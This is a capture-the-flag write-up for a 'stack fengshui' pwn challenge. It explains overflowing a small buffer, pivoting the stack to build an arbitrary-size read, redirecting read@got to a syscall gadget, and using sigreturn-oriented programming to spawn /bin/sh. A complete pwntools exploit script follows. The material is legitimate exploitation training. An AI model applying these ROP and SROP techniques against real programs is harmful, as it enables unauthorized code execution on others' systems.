# Challenge Collections
GitHub: https://github.com/CuB3y0nd/fengshui
You can download the challenges from my repo above.
# stack/level-0
## Information
- Category: Pwn
## Description
> None.
## Write-up
This is probably the easiest stack fengshui challenge.
This challenge gave us `pop rax; ret` gadget, but cannot control any other regis
ters, like `rdi` etc.
Only `0x20` bytes read with `0x10` bytes buffer, so we can only write `0x10` byt
es data each time, and then overwrite `rbp` and `rip`.
So, the idea is use sigreturn to execute `execve("/bin/sh", NULL, NULL)`, and th
e first thing we have to do it figure out how to implement the arbitrary size re
ad, such that we can send the full sigreturn structure, then construct a sigretu
rn by utilize the `pop rax; ret` gadget.
The memory layout should be looks like:
```plaintext showLineNumbers=false
# pop rax; ret
# 0xf
# syscall
# sigreturn frame
```
Now, let's think about how to achieve an arbitrary size read. Assume following m
emory dump is the stats of the first time read, because we want get an arbitrary
size consistent read, so we cannot chain the next `read` gadget write to `0x404
038` directly.
```plaintext showLineNumbers=false
pwndbg> x/10gx 0x404028
0x404028: 0x4141414141414141 0x4141414141414141
0x404038: 0x0000000000404048 0x0000000000401133
0x404048: 0x0000000000000000 0x0000000000000000
0x404058: 0x0000000000000000 0x0000000000000000
0x404068: 0x0000000000000000 0x0000000000000000
```
If we directly write to the next consistent address, it'll cause `read` return t
o `0x4242424242424242` and crash the program.
```plaintext showLineNumbers=false
pwndbg> x/10gx 0x404028
0x404028: 0x4141414141414141 0x4141414141414141
0x404038: 0x4242424242424242 0x4242424242424242
0x404048: 0x0000000000404058 0x0000000000401133
0x404058: 0x0000000000000000 0x0000000000000000
0x404068: 0x0000000000000000 0x0000000000000000
```
The way to bypass is fairly simple, just avoid corrupt the return address later
used by `read`. First, we read some junk bytes to `0x404048` to keeping the rop
chain alive so we can read more data.
```plaintext showLineNumbers=false
pwndbg> x/10gx 0x404028
0x404028: 0x4141414141414141 0x4141414141414141
0x404038: 0x0000000000404058 0x0000000000401149
0x404048: 0x5858585858585858 0x5858585858585858
0x404058: 0x0000000000404048 0x0000000000401133
0x404068: 0x0000000000000000 0x0000000000000000
```
Then write the actual data which we needed to `0x404038`.
```plaintext showLineNumbers=false
pwndbg> x/10gx 0x404028
0x404028: 0x4141414141414141 0x4141414141414141
0x404038: 0x4242424242424242 0x4242424242424242
0x404048: 0x0000000000404048 0x0000000000401133
0x404058: 0x0000000000404048 0x0000000000401149
0x404068: 0x0000000000000000 0x0000000000000000
```
Finally, repeat the same way to achieve arbitrary size read.
As for how to get the `syscall; ret` gadget, we can utilize `read@got`, checking
instructions nearby `read`, you can found some of them.
So the final memory layout should be:
```plaintext showLineNumbers=false
# pop rax; ret
# 0xf
# read@plt (syscall)
# sigreturn frame
```
And the final strategy is:
1. Pre-place `pop rax; ret` chain for execute sigreturn
2. Place sigreturn frame beside the chain (actually you can put it anywhere, jus
t have to manually pivot, to make sure the `rsp` points to the frame)
3. Modify `read@got` points to `syscall; ret` gadget
4. Pivot back to the start of the ROP chain
## Exploit
```python
#!/usr/bin/env python3
import argparse
from pwn import (
ELF,
SigreturnFrame,
constants,
context,
flat,
process,
raw_input,
remote,
)
parser = argparse.ArgumentParser()
parser.add_argument("-L", "--local", action="store_true", help="Run locally")
parser.add_argument("-G", "--gdb", action="store_true", help="Enable GDB")
parser.add_argument("-P", "--port", type=int, default=1234, help="GDB port for Q
EMU")
parser.add_argument("-T", "--threads", type=int, default=None, help="Thread coun
t")
args = parser.parse_args()
FILE = "./chall_patched"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
libc = elf.libc
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch(argv=None, envp=None):
global target, thread
if argv is None:
argv = [FILE]
if args.local and args.threads is not None:
raise ValueError("Options -L and -T cannot be used together.")
if args.local:
if args.gdb and "qemu" in argv[0]:
if "-g" not in argv:
argv.insert(1, str(args.port))
argv.insert(1, "-g")
target = process(argv, env=envp)
elif args.threads:
if args.threads <= 0:
raise ValueError("Thread count must be positive.")
process(FILE)
thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
else:
target = remote(HOST, PORT, ssl=True)
def arbitrary_size_read(target, frame, size, read_addr, base_addr):
for i in range(0, size, 0x10):
offset = (i // 0x10) * 0x10
payload1 = flat(
{
0x0: b"X" * 0x10,
0x10: (base_addr + offset) + 0x10,
0x18: read_addr,
},
filler=b"x00",
)
target.send(payload1)
chunk = frame[i : i + 0x10]
if len(chunk) < 0x10:
chunk = chunk.ljust(0x10, b"x00")
payload2 = flat(
{
0x0: chunk,
0x10: (base_addr + 0x20 + offset) + 0x10,
0x18: read_addr,
},
filler=b"x00",
)
target.send(payload2)
def main():
launch()
read = elf.sym["main"] + 0x8
pop_rax_ret = 0x401126
ret = pop_rax_ret + 0x1
payload = flat(
{
0x10: 0x404038 + 0x10,
0x18: read,
},
filler=b"x00",
)
raw_input("DEBUG")
target.send(payload)
payload = flat(
{
0x0: elf.sym["main"],
0x10: 0x404018 + 0x10,
0x18: read,
},
filler=b"x00",
)
raw_input("DEBUG")
target.send(payload)
payload = flat(
{
0x0: pop_rax_ret,
0x18: ret,
},
filler=b"x00",
)
raw_input("DEBUG")
target.send(payload)
payload = flat(
{
0x0: read,
0x10: elf.bss() + 0x500 + 0x10,
0x18: read,
},
filler=b"x00",
)
raw_input("DEBUG")
target.send(payload)
payload = flat(
{
0x0: b"/bin/shx00",
0x10: 0x404020 + 0x10,
0x18: read,
},
filler=b"x00",
)
raw_input("DEBUG")
target.send(payload)
payload = flat(
{
0x0: 0xF,
0x8: elf.plt["read"],
0x10: elf.bss() + 0x300, # junk
0x18: read,
},
filler=b"x00",
)
raw_input("DEBUG")
target.send(payload)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = elf.bss() + 0x500
frame.rsi = 0
frame.rdx = 0
frame.rsp = 0x404030
frame.rip = elf.plt["read"]
frame = bytes(frame)
target.hexdump(frame)
target.success(f"frame len: {hex(len(frame))}")
arbitrary_size_read(target, frame, len(frame), read, 0x404030)
payload = flat(
{
0x10: elf.bss() + 0x800,
0x18: read,
},
filler=b"x00",
)
raw_input("DEBUG")
target.send(payload)
payload = flat(
{
0x10: elf.got["read"] + 0x10,
0x18: read,
},
filler=b"x00",
)
raw_input("DEBUG")
target.send(payload)
raw_input("DEBUG")
target.send(b"xdb")
target.interactive()
if __name__ == "__main__":
main()
```